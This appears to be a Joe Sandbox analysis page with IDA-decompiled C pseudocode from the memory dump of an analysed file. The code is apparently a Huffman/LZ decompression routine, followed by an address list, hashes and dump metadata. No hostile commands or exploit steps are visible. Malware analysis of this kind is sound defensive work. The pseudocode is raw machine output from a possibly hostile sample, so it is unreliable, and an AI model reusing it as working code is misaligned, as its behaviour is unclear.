													_t598 = _t638 + 0x7c;
													_t519 =  *_t598;
													_t366 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
													_t651 = _t519 - _t471;
													__eflags = _t651 - _t366;
													if(_t651 >= _t366) {
														L92:
														__eflags = _t632;
														if(_t632 == 0) {
															goto L161;
														}
														L93:
														_t472 =  *(_t638 + 0xe6dc);
														do {
															L94:
															_t473 = _t472 & _t651;
															_t651 = _t651 + 1;
															 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)(_t473 +  *((intOrPtr*)(_t638 + 0x4b40))));
															_t598 = _t638 + 0x7c;
															_t472 =  *(_t638 + 0xe6dc);
															 *_t598 =  *_t598 + 0x00000001 & _t472;
															_t632 = _t632 - 1;
															__eflags = _t632;
														} while (_t632 != 0);
														goto L161;
													}
													L74:
													__eflags = _t519 - _t366;
													if(_t519 >= _t366) {
														goto L92;
													}
													L75:
													_t371 =  *((intOrPtr*)(_t638 + 0x4b40));
													_t474 = _t371 + _t651;
													_t652 = _t371 + _t519;
													 *_t598 = _t519 + _t632;
													__eflags =  *(_t658 + 0x30) - _t632;
													if( *(_t658 + 0x30) >= _t632) {
														L80:
														__eflags = _t632 - 8;
														if(_t632 < 8) {
															L84:
															__eflags = _t632;
															if(_t632 != 0) {
																 *_t652 =  *_t474;
																__eflags = _t632 - 1;
																if(_t632 > 1) {
																	 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
																	__eflags = _t632 - 2;
																	if(_t632 > 2) {
																		 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
																		__eflags = _t632 - 3;
																		if(_t632 > 3) {
																			 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
																			__eflags = _t632 - 4;
																			if(_t632 > 4) {
																				 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
																				__eflags = _t632 - 5;
																				if(_t632 > 5) {
																					 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 > 6) {
																						 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
																					}
																				}
																			}
																		}
																	}
																}
															}
															goto L161;
														}
														L81:
														_t381 = _t632 >> 3;
														__eflags = _t381;
														 *(_t658 + 0x30) = _t381;
														_t640 = _t381;
														do {
															L82:
															E013BDFA0(_t652, _t474, 8);
															_t658 = _t658 + 0xc;
															_t474 = _t474 + 8;
															_t652 = _t652 + 8;
															_t632 = _t632 - 8;
															_t640 = _t640 - 1;
															__eflags = _t640;
														} while (_t640 != 0);
														_t638 =  *((intOrPtr*)(_t658 + 0x10));
														_t598 =  *(_t658 + 0x18);
														goto L84;
													}
													L76:
													__eflags = _t632 - 8;
													if(_t632 < 8) {
														goto L84;
													}
													L77:
													_t522 = _t632 >> 3;
													__eflags = _t522;
													do {
														L78:
														_t632 = _t632 - 8;
														 *_t652 =  *_t474;
														 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
														 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
														 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
														 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
														 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
														 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
														_t390 =  *((intOrPtr*)(_t474 + 7));
														_t474 = _t474 + 8;
														 *((char*)(_t652 + 7)) = _t390;
														_t652 = _t652 + 8;
														_t522 = _t522 - 1;
														__eflags = _t522;
													} while (_t522 != 0);
													goto L84;
												} else {
													L70:
													_push( *(_t638 + 0xe6dc));
													_push(_t638 + 0x7c);
													_push(_t471);
													goto L71;
												}
											}
											L51:
											if(__eflags <= 0) {
												_t656 = _t638 + 4;
											} else {
												_t439 = E013B748C(_t638 + 4);
												_t569 = 0x24;
												_t572 = _t643 - 4 +  *(_t638 + 8);
												_t656 = _t638 + 4;
												_t471 = (_t439 >> _t569 - _t643 << 4) +  *(_t658 + 0x14);
												 *_t656 =  *_t656 + (_t572 >> 3);
												 *(_t656 + 4) = _t572 & 0x00000007;
											}
											_t429 = E013AA4D1(_t656);
											_t430 =  *(_t638 + 0x1efc);
											_t621 = _t429 & 0x0000fffe;
											__eflags = _t621 -  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4));
											if(_t621 >=  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4))) {
												L56:
												_t657 = 0xf;
												_t431 = _t430 + 1;
												__eflags = _t431 - _t657;
												if(_t431 >= _t657) {
													L62:
													_t555 =  *(_t638 + 8) + _t657;
													 *(_t638 + 8) = _t555 & 0x00000007;
													_t433 = _t555 >> 3;
													 *(_t638 + 4) =  *(_t638 + 4) + _t433;
													_t557 = 0x10;
													_t560 =  *((intOrPtr*)(_t638 + 0x1ebc + _t657 * 4)) + (_t621 -  *((intOrPtr*)(_t638 + 0x1e78 + _t657 * 4)) >> _t557 - _t657);
													__eflags = _t560 -  *((intOrPtr*)(_t638 + 0x1e78));
													asm("sbb eax, eax");
													_t434 = _t433 & _t560;
													__eflags = _t434;
													_t435 =  *(_t638 + 0x2b00 + _t434 * 2) & 0x0000ffff;
													goto L63;
												}
												L57:
												_t562 = _t638 + (_t431 + 0x79f) * 4;
												while(1) {
													L58:
													__eflags = _t621 -  *_t562;
													if(_t621 <  *_t562) {
														break;
													}
													L59:
													_t431 = _t431 + 1;
													_t562 = _t562 + 4;
													__eflags = _t431 - 0xf;
													if(_t431 < 0xf) {
														continue;
													}
													L60:
													goto L62;
												}
												L61:
												_t657 = _t431;
												goto L62;
											} else {
												L55:
												_t563 = 0x10;
												_t624 = _t621 >> _t563 - _t430;
												_t566 = ( *(_t624 + _t638 + 0x1f00) & 0x000000ff) +  *(_t656 + 4);
												 *_t656 =  *_t656 + (_t566 >> 3);
												 *(_t656 + 4) = _t566 & 0x00000007;
												_t435 =  *(_t638 + 0x2300 + _t624 * 2) & 0x0000ffff;
												L63:
												_t471 = _t471 + (_t435 & 0x0000ffff);
												__eflags = _t471;
												 *(_t658 + 0x30) = _t471;
												goto L64;
											}
										}
									}
								}
								L28:
								__eflags =  *((char*)(_t638 + 0x4c44));
								if( *((char*)(_t638 + 0x4c44)) == 0) {
									L30:
									_t598 = _t638 + 0x7c;
									 *( *((intOrPtr*)(_t638 + 0x4b40)) +  *_t598) = _t460;
									 *_t598 =  *_t598 + 1;
									continue;
								}
								L29:
								 *(_t638 + 0x7c) =  *(_t638 + 0x7c) + 1;
								 *(E013B0F0B(_t638 + 0x4b44,  *(_t638 + 0x7c))) = _t460;
								goto L0;
							}
						}
						L13:
						__eflags = _t483 -  *_t598;
						if(_t483 ==  *_t598) {
							goto L18;
						}
						L14:
						E013B3EF0(_t638);
						_t415 =  *((intOrPtr*)(_t638 + 0x4c5c));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c4c));
						if(__eflags > 0) {
							goto L100;
						}
						L15:
						if(__eflags < 0) {
							L17:
							__eflags =  *((char*)(_t638 + 0x4c50));
							if( *((char*)(_t638 + 0x4c50)) != 0) {
								L162:
								 *((char*)(_t638 + 0x4c60)) = 0;
								goto L100;
							}
							goto L18;
						}
						L16:
						_t415 =  *((intOrPtr*)(_t638 + 0x4c58));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c48));
						if(_t415 >  *((intOrPtr*)(_t638 + 0x4c48))) {
							goto L100;
						}
						goto L17;
					}
				}
			}

0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb7
0x013b4fb7
0x013b4fbd
0x013b4fc8
0x00000000
0x013b4fca
0x013b4fca
0x013b4fca
0x013b4fd0
0x013b4fd0
0x013b4fd9
0x013b4fdc
0x00000000
0x00000000
0x013b4feb
0x013b4ff2
0x013b559d
0x013b559f
0x013b55a4
0x013b55ab
0x013b55ab
0x013b4ff8
0x013b4ff8
0x013b4ff9
0x013b4ffc
0x013b5003
0x00000000
0x00000000
0x013b5009
0x013b5011
0x013b5012
0x013b5013
0x013b5014
0x013b501b
0x00000000
0x013b501d
0x00000000
0x013b501d
0x013b501b
0x013b5022
0x013b5024
0x013b5029
0x013b502b
0x00000000
0x013b5031
0x013b5031
0x013b5031
0x013b5034
0x013b5034
0x013b5044
0x013b5049
0x013b5089
0x013b508b
0x013b5092
0x013b5098
0x013b509e
0x013b50a5
0x013b50d1
0x013b50d3
0x013b50d4
0x013b50d5
0x013b50d7
0x013b50f0
0x013b50f3
0x013b50fa
0x013b50fd
0x013b5100
0x013b510c
0x013b5118
0x013b511a
0x013b5120
0x013b5122
0x013b5122
0x013b5124
0x00000000
0x013b50d9
0x013b50dc
0x013b50df
0x013b50df
0x013b50df
0x013b50e1
0x013b50ee
0x013b50ee
0x013b50ee
0x013b50e3
0x013b50e3
0x013b50e4
0x013b50e7
0x013b50ea
0x00000000
0x013b50ec
0x00000000
0x013b50ec
0x013b50ea
0x00000000
0x013b50df
0x013b50a7
0x013b50a9
0x013b50ac
0x013b50b6
0x013b50be
0x013b50c4
0x013b50c7
0x013b512c
0x013b512c
0x013b5132
0x013b516e
0x013b516e
0x013b5174
0x013b5570
0x013b5570
0x013b5576
0x013b55ae
0x013b55ae
0x013b55b4
0x013b5751
0x013b5751
0x013b5751
0x013b575a
0x013b575d
0x013b575f
0x013b5763
0x013b5772
0x013b5774
0x013b5777
0x013b577e
0x013b5784
0x013b578a
0x013b5791
0x013b57bd
0x013b57bf
0x013b57c0
0x013b57c1
0x013b57c3
0x013b57df
0x013b57e2
0x013b57e9
0x013b57ec
0x013b57ef
0x013b57fb
0x013b5807
0x013b5809
0x013b580f
0x013b5811
0x013b5811
0x013b5813
0x013b581b
0x013b581b
0x013b581e
0x013b5821
0x013b5832
0x013b5835
0x013b5835
0x013b5823
0x013b5823
0x013b5823
0x013b5837
0x013b583a
0x013b583c
0x013b5840
0x013b5847
0x013b584f
0x013b5851
0x013b5858
0x013b585b
0x013b585b
0x013b585e
0x013b585e
0x013b5861
0x013b5868
0x013b586c
0x013b586f
0x013b5881
0x013b5881
0x013b588c
0x013b588e
0x013b5893
0x013b5895
0x013b593a
0x013b593a
0x013b593c
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x00000000
0x013b4fb4
0x013b4fb4
0x013b5942
0x013b5942
0x013b5948
0x013b5948
0x013b594e
0x013b5953
0x013b5957
0x013b595a
0x013b595f
0x013b5968
0x013b596a
0x013b596a
0x013b596a
0x00000000
0x013b5948
0x013b589b
0x013b589b
0x013b589d
0x00000000
0x00000000
0x013b58a3
0x013b58a3
0x013b58a9
0x013b58ab
0x013b58b1
0x013b58b4
0x013b58b6
0x013b5907
0x013b5907
0x013b590a
0x00000000
0x00000000
0x013b5910
0x013b5912
0x013b5912
0x013b5915
0x013b5919
0x013b591b
0x013b591b
0x013b591f
0x013b5924
0x013b5927
0x013b592a
0x013b592d
0x013b5930
0x013b5930
0x013b5930
0x00000000
0x013b5935
0x013b58b8
0x013b58ba
0x013b58bb
0x013b58bd
0x00000000
0x00000000
0x013b58c3
0x013b58c5
0x013b58c5
0x013b58c8
0x013b58c8
0x013b58ca
0x013b58cc
0x013b58d2
0x013b58d8
0x013b58de
0x013b58e4
0x013b58ea
0x013b58f0
0x013b58f3
0x013b58f6
0x013b58f8
0x013b58fb
0x013b58fd
0x013b58fd
0x013b58fd
0x00000000
0x013b5871
0x013b5871
0x013b5871
0x013b587a
0x013b587b
0x013b53cf
0x013b53cf
0x013b53d6
0x013b53db
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb7
0x013b4fb7
0x013b4fb7
0x013b4fbd
0x013b4fc8
0x00000000
0x013b4fca
0x013b4fca
0x013b4fca
0x00000000
0x013b4fc8
0x00000000
0x013b4fb7
0x013b55c8
0x013b55cf
0x013b55e3
0x013b55e3
0x013b55ee
0x013b55f1
0x013b55f6
0x013b55f8
0x013b55fa
0x013b5717
0x013b5717
0x013b5719
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb7
0x013b4fbd
0x013b4fc8
0x00000000
0x013b4fca
0x013b4fca
0x013b4fca
0x013b4fc8
0x013b4fb4
0x013b571f
0x013b571f
0x013b5725
0x013b5725
0x013b572b
0x013b5730
0x013b5734
0x013b5737
0x013b573c
0x013b5745
0x013b5747
0x013b5747
0x013b5747
0x013b596f
0x013b596f
0x00000000
0x013b596f
0x013b5600
0x013b5600
0x013b5602
0x00000000
0x00000000
0x013b5608
0x013b5608
0x013b560e
0x013b5610
0x013b5616
0x013b5619
0x013b561b
0x013b5665
0x013b5665
0x013b5668
0x013b5693
0x013b5693
0x013b5696
0x013b5698
0x00000000
0x00000000
0x013b569e
0x013b56a0
0x013b56a3
0x013b56a6
0x013b56a9
0x00000000
0x00000000
0x013b56af
0x013b56b2
0x013b56b5
0x013b56b8
0x013b56bb
0x00000000
0x00000000
0x013b56c1
0x013b56c4
0x013b56c7
0x013b56ca
0x013b56cd
0x00000000
0x00000000
0x013b56d3
0x013b56d6
0x013b56d9
0x013b56dc
0x013b56df
0x00000000
0x00000000
0x013b56e5
0x013b56e8
0x013b56eb
0x013b56ee
0x013b56f1
0x00000000
0x00000000
0x013b56f7
0x013b56fa
0x013b56fd
0x013b5700
0x013b5703
0x00000000
0x00000000
0x013b5709
0x013b570c
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x013b4fb4
0x00000000
0x013b4fb4
0x013b4fb4
0x013b566a
0x013b566c
0x013b566c
0x013b566f
0x013b5673
0x013b5675
0x013b5675
0x013b5679
0x013b567e
0x013b5681
0x013b5684
0x013b5687
0x013b568a
0x013b568a
0x013b568a
0x013b568f
0x013b568f
0x00000000
0x013b568f
0x013b561d
0x013b561f
0x013b5620
0x013b5622
0x00000000
0x00000000
0x013b5624
0x013b5626
0x013b5626
0x013b5629
0x013b5629
0x013b562b
0x013b562d
0x013b5633
0x013b5639
0x013b563f
0x013b5645
0x013b564b
0x013b5651
0x013b5654
0x013b5657
0x013b5659
0x013b565c
0x013b565e
0x013b565e
0x013b565e
0x00000000
0x013b5663
0x013b55d1
0x013b55d1
0x013b55da
0x013b55db
0x00000000
0x013b55db
0x013b5589
0x013b5590
0x013b5595
0x013b5595
0x00000000
0x013b4fb4
0x013b586f
0x013b57c5
0x013b57cb
0x013b57ce
0x013b57ce
0x013b57ce
0x013b57d0
0x00000000
0x00000000
0x013b57d2
0x013b57d2
0x013b57d3
0x013b57d6
0x013b57d9
0x00000000
0x00000000
0x013b57db
0x00000000
0x013b57db
0x013b57dd
0x013b57dd
0x00000000
0x013b57dd
0x013b5793
0x013b5795
0x013b5798
0x013b57a2
0x013b57aa
0x013b57b0
0x013b57b3
0x00000000
0x00000000
0x00000000
0x00000000
0x013b5765
0x013b5765
0x013b5768
0x013b576a
0x013b576d
0x013b576d
0x013b576d
0x00000000
0x013b5765
0x013b55ba
0x013b55ba
0x013b55bd
0x013b55c0
0x013b55c0
0x013b5578
0x013b557e
0x013b5580
0x013b5585
0x013b5587
0x00000000
0x00000000
0x00000000
0x013b5587
0x013b517a
0x013b517a
0x013b5180
0x013b5183
0x013b5194
0x013b5197
0x013b5197
0x013b5185
0x013b5185
0x013b5185
0x013b5199
0x013b519c
0x013b519e
0x013b51a2
0x013b51a9
0x013b51b1
0x013b51b3
0x013b51ba
0x013b51bd
0x013b51bd
0x013b51c0
0x013b51c0
0x013b51c5
0x013b51cc
0x013b51d2
0x013b51d8
0x013b51df
0x013b520b
0x013b520d
0x013b520e
0x013b520f
0x013b5211
0x013b522d
0x013b5230
0x013b5237
0x013b523a
0x013b523d
0x013b5249
0x013b5255
0x013b5257
0x013b525d
0x013b525f
0x013b525f
0x013b5261
0x00000000
0x013b5261
0x013b5213
0x013b5219
0x013b521c
0x013b521c
0x013b521c
0x013b521e
0x00000000
0x00000000
0x013b5220
0x013b5220
0x013b5221
0x013b5224
0x013b5227
0x00000000
0x00000000
0x013b5229
0x00000000
0x013b5229
0x013b522b
0x013b522b
0x00000000
0x013b51e1
0x013b51e1
0x013b51e3
0x013b51e6
0x013b51f0
0x013b51f8
0x013b51fe
0x013b5201
0x013b5269
0x013b5269
0x013b526c
0x013b526f
0x013b527f
0x013b5282
0x013b5282
0x013b5271
0x013b5271
0x013b5271
0x013b5284
0x013b5285
0x013b5289
0x013b528b
0x013b528f
0x013b5291
0x013b5385
0x013b5385
0x00000000
0x013b5297
0x013b5297
0x013b5297
0x013b529a
0x013b53e0
0x013b53e3
0x013b53ec
0x013b53f4
0x013b53f8
0x013b53fc
0x013b5403
0x013b5406
0x013b540c
0x013b5388
0x013b5388
0x013b538e
0x013b5390
0x013b5391
0x013b5397
0x013b5399
0x013b539a
0x013b53a0
0x013b53a2
0x013b53a2
0x013b53a2
0x013b53a0
0x013b5397
0x013b53a6
0x013b53ac
0x013b53b2
0x013b53b5
0x013b53b8
0x013b53bf
0x013b53c2
0x013b5414
0x013b541a
0x013b541d
0x013b541f
0x013b5426
0x013b5428
0x013b542a
0x013b5536
0x013b5536
0x013b5538
0x00000000
0x00000000
0x013b553e
0x013b553e
0x013b5544
0x013b5544
0x013b554a
0x013b554f
0x013b5553
0x013b5556
0x013b555b
0x013b5564
0x013b5566
0x013b5566
0x013b5566
0x00000000
0x013b556b
0x013b5430
0x013b5430
0x013b5432
0x00000000
0x00000000
0x013b5438
0x013b5438
0x013b543e
0x013b5441
0x013b5447
0x013b5449
0x013b544d
0x013b5498
0x013b5498
0x013b549b
0x013b54ca
0x013b54ca
0x013b54cc
0x013b54d4
0x013b54d7
0x013b54da
0x013b54e3
0x013b54e6
0x013b54e9
0x013b54f2
0x013b54f5
0x013b54f8
0x013b5501
0x013b5504
0x013b5507
0x013b5510
0x013b5513
0x013b5516
0x013b551f
0x013b5522
0x013b5525
0x013b552e
0x013b552e
0x013b5525
0x013b5516
0x013b5507
0x013b54f8
0x013b54e9
0x013b54da
0x00000000
0x013b54cc
0x013b549d
0x013b549f
0x013b549f
0x013b54a2
0x013b54a6
0x013b54a8
0x013b54a8
0x013b54ac
0x013b54b1
0x013b54b4
0x013b54b7
0x013b54ba
0x013b54bd
0x013b54bd
0x013b54bd
0x013b54c2
0x013b54c6
0x00000000
0x013b54c6
0x013b544f
0x013b544f
0x013b5452
0x00000000
0x00000000
0x013b5454
0x013b5456
0x013b5456
0x013b5459
0x013b5459
0x013b545b
0x013b545e
0x013b5464
0x013b546a
0x013b5470
0x013b5476
0x013b547c
0x013b5482
0x013b5485
0x013b5488
0x013b548b
0x013b548e
0x013b5491
0x013b5491
0x013b5491
0x00000000
0x013b53c4
0x013b53c4
0x013b53c4
0x013b53cd
0x013b53ce
0x00000000
0x013b53ce
0x013b53c2
0x013b52a0
0x013b52a0
0x013b52d3
0x013b52a2
0x013b52a5
0x013b52ae
0x013b52b6
0x013b52b9
0x013b52c1
0x013b52c8
0x013b52ce
0x013b52ce
0x013b52d8
0x013b52df
0x013b52e5
0x013b52eb
0x013b52f2
0x013b531e
0x013b5320
0x013b5321
0x013b5322
0x013b5324
0x013b5340
0x013b5343
0x013b534a
0x013b534d
0x013b5350
0x013b535c
0x013b5368
0x013b536a
0x013b5370
0x013b5372
0x013b5372
0x013b5374
0x00000000
0x013b5374
0x013b5326
0x013b532c
0x013b532f
0x013b532f
0x013b532f
0x013b5331
0x00000000
0x00000000
0x013b5333
0x013b5333
0x013b5334
0x013b5337
0x013b533a
0x00000000
0x00000000
0x013b533c
0x00000000
0x013b533c
0x013b533e
0x013b533e
0x00000000
0x013b52f4
0x013b52f4
0x013b52f6
0x013b52f9
0x013b5303
0x013b530b
0x013b5311
0x013b5314
0x013b537c
0x013b537f
0x013b537f
0x013b5381
0x00000000
0x013b5381
0x013b52f2
0x013b5291
0x013b51df
0x013b5134
0x013b5134
0x013b513b
0x013b5159
0x013b515f
0x013b5164
0x013b5167
0x00000000
0x013b5167
0x013b513d
0x013b514a
0x013b5152
0x00000000
0x013b5152
0x013b50a5
0x013b504b
0x013b504b
0x013b504d
0x00000000
0x00000000
0x013b504f
0x013b5051
0x013b5056
0x013b505c
0x013b5062
0x00000000
0x00000000
0x013b5068
0x013b5068
0x013b507c
0x013b507c
0x013b5083
0x013b5977
0x013b5977
0x00000000
0x013b5977
0x00000000
0x013b5083
0x013b506a
0x013b506a
0x013b5070
0x013b5076
0x00000000
0x00000000
0x00000000
0x013b5076
0x013b4fb7

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 289fefe8c5a67303e04c4f7979b92612d24f26a9e9caf40240c5c4cc4755c92c
Instruction ID: 8bc2cf1a42894b7a241eb7f9afc89868a968a955f2c68ab9ba798580be9afc7b
Opcode Fuzzy Hash: 289fefe8c5a67303e04c4f7979b92612d24f26a9e9caf40240c5c4cc4755c92c
Instruction Fuzzy Hash: 3E62F9716047899FCB26CF38C8D06F9BBE1AF55208F08856DDA9B8BB46E734E545C710

Uniqueness

Uniqueness Score: -1.00%

Function 013B63F1 Relevance: .8, Instructions: 773
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E013B63F1(void* __ecx) {
				intOrPtr* _t347;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				void* _t365;
				intOrPtr _t370;
				signed int _t380;
				char _t389;
				unsigned int _t390;
				signed int _t397;
				void* _t399;
				intOrPtr _t404;
				signed int _t407;
				char _t416;
				signed int _t417;
				char _t418;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t426;
				signed short _t427;
				signed int _t430;
				void* _t435;
				intOrPtr _t440;
				signed int _t443;
				char _t452;
				unsigned int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t461;
				signed int _t462;
				signed short _t463;
				unsigned int _t467;
				unsigned int _t472;
				intOrPtr _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				unsigned int _t496;
				unsigned int _t498;
				intOrPtr _t499;
				signed int _t501;
				intOrPtr _t505;
				intOrPtr _t506;
				intOrPtr _t507;
				unsigned int _t510;
				void* _t512;
				signed int _t515;
				signed int* _t518;
				unsigned int _t521;
				void* _t523;
				signed int _t526;
				signed int _t529;
				intOrPtr _t530;
				void* _t532;
				signed int _t535;
				signed int _t536;
				intOrPtr* _t538;
				void* _t539;
				signed int _t542;
				intOrPtr _t545;
				unsigned int _t552;
				void* _t554;
				signed int _t557;
				signed int _t559;
				signed int _t561;
				intOrPtr _t563;
				void* _t565;
				signed int _t568;
				signed int _t569;
				signed int _t571;
				signed int _t573;
				void* _t575;
				signed int _t578;
				intOrPtr* _t580;
				void* _t581;
				signed int _t584;
				void* _t587;
				signed int _t590;
				intOrPtr* _t593;
				void* _t594;
				signed int _t597;
				void* _t600;
				signed int _t603;
				intOrPtr* _t607;
				void* _t608;
				signed int _t611;
				signed int _t614;
				unsigned int _t616;
				signed int _t619;
				signed int _t620;
				unsigned int _t622;
				signed int _t625;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t633;
				unsigned int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				intOrPtr* _t645;
				unsigned int _t647;
				signed int _t650;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				intOrPtr _t654;
				signed int _t655;
				signed int _t656;
				signed int _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				signed int _t661;
				signed int _t662;
				void* _t663;
				intOrPtr _t666;
				intOrPtr* _t667;
				intOrPtr* _t668;
				signed int _t671;
				signed int _t673;
				intOrPtr* _t675;
				signed int _t677;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				void* _t691;

				_t654 =  *((intOrPtr*)(_t691 + 0x34));
				_t663 = __ecx;
				if( *((char*)(_t654 + 0x2c)) != 0) {
					L3:
					_t505 =  *((intOrPtr*)(_t654 + 0x18));
					__eflags =  *((intOrPtr*)(_t654 + 4)) -  *((intOrPtr*)(_t654 + 0x24)) + _t505;
					if( *((intOrPtr*)(_t654 + 4)) >  *((intOrPtr*)(_t654 + 0x24)) + _t505) {
						L2:
						 *((char*)(_t654 + 0x4ad0)) = 1;
						return 0;
					} else {
						_t489 =  *((intOrPtr*)(_t654 + 0x4acc)) - 0x10;
						_t666 = _t505 - 1 +  *((intOrPtr*)(_t654 + 0x20));
						 *((intOrPtr*)(_t691 + 0x14)) = _t666;
						 *((intOrPtr*)(_t691 + 0x10)) = _t489;
						 *((intOrPtr*)(_t691 + 0x20)) = _t666;
						__eflags = _t666 - _t489;
						if(_t666 >= _t489) {
							 *((intOrPtr*)(_t691 + 0x20)) = _t489;
						}
						_t347 = _t654 + 4;
						while(1) {
							_t614 =  *(_t663 + 0xe6dc);
							 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
							_t506 =  *_t347;
							__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
							if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
								goto L16;
							}
							L10:
							__eflags = _t506 - _t666;
							if(__eflags > 0) {
								L100:
								_t418 = 1;
								L101:
								return _t418;
							}
							if(__eflags != 0) {
								L13:
								__eflags = _t506 - _t499;
								if(_t506 < _t499) {
									L15:
									__eflags = _t506 -  *((intOrPtr*)(_t654 + 0x4acc));
									if(_t506 >=  *((intOrPtr*)(_t654 + 0x4acc))) {
										L151:
										 *((char*)(_t654 + 0x4ad3)) = 1;
										goto L100;
									}
									goto L16;
								}
								__eflags =  *((char*)(_t654 + 0x4ad2));
								if( *((char*)(_t654 + 0x4ad2)) == 0) {
									goto L151;
								}
								goto L15;
							}
							__eflags =  *(_t654 + 8) -  *((intOrPtr*)(_t654 + 0x1c));
							if( *(_t654 + 8) >=  *((intOrPtr*)(_t654 + 0x1c))) {
								goto L100;
							}
							goto L13;
							L16:
							_t507 =  *((intOrPtr*)(_t663 + 0x4b3c));
							__eflags = (_t507 -  *(_t663 + 0x7c) & _t614) - 0x1004;
							if((_t507 -  *(_t663 + 0x7c) & _t614) >= 0x1004) {
								L21:
								_t667 = _t654 + 4;
								_t351 = E013AA4D1(_t667);
								_t352 =  *(_t654 + 0xb4);
								_t616 = _t351 & 0x0000fffe;
								__eflags = _t616 -  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4));
								if(_t616 >=  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4))) {
									_t490 = 0xf;
									_t353 = _t352 + 1;
									__eflags = _t353 - _t490;
									if(_t353 >= _t490) {
										L30:
										_t510 =  *(_t667 + 4) + _t490;
										 *(_t667 + 4) = _t510 & 0x00000007;
										_t355 = _t510 >> 3;
										 *_t667 =  *_t667 + _t355;
										_t512 = 0x10;
										_t515 =  *((intOrPtr*)(_t654 + 0x74 + _t490 * 4)) + (_t616 -  *((intOrPtr*)(_t654 + 0x30 + _t490 * 4)) >> _t512 - _t490);
										__eflags = _t515 -  *((intOrPtr*)(_t654 + 0x30));
										asm("sbb eax, eax");
										_t356 = _t355 & _t515;
										__eflags = _t356;
										_t619 =  *(_t654 + 0xcb8 + _t356 * 2) & 0x0000ffff;
										_t347 = _t654 + 4;
										L31:
										__eflags = _t619 - 0x100;
										if(_t619 >= 0x100) {
											__eflags = _t619 - 0x106;
											if(_t619 < 0x106) {
												__eflags = _t619 - 0x100;
												if(_t619 != 0x100) {
													__eflags = _t619 - 0x101;
													if(_t619 != 0x101) {
														_t620 = _t619 + 0xfffffefe;
														__eflags = _t620;
														_t518 =  &((_t663 + 0x60)[_t620]);
														_t491 =  *_t518;
														 *(_t691 + 0x24) = _t491;
														if(_t620 == 0) {
															L122:
															_t668 = _t654 + 4;
															 *(_t663 + 0x60) = _t491;
															_t357 = E013AA4D1(_t668);
															_t358 =  *(_t654 + 0x2d78);
															_t622 = _t357 & 0x0000fffe;
															__eflags = _t622 -  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4));
															if(_t622 >=  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4))) {
																_t492 = 0xf;
																_t359 = _t358 + 1;
																__eflags = _t359 - _t492;
																if(_t359 >= _t492) {
																	L130:
																	_t521 =  *(_t668 + 4) + _t492;
																	 *(_t668 + 4) = _t521 & 0x00000007;
																	_t361 = _t521 >> 3;
																	 *_t668 =  *_t668 + _t361;
																	_t523 = 0x10;
																	_t526 =  *((intOrPtr*)(_t654 + 0x2d38 + _t492 * 4)) + (_t622 -  *((intOrPtr*)(_t654 + 0x2cf4 + _t492 * 4)) >> _t523 - _t492);
																	__eflags = _t526 -  *((intOrPtr*)(_t654 + 0x2cf4));
																	asm("sbb eax, eax");
																	_t362 = _t361 & _t526;
																	__eflags = _t362;
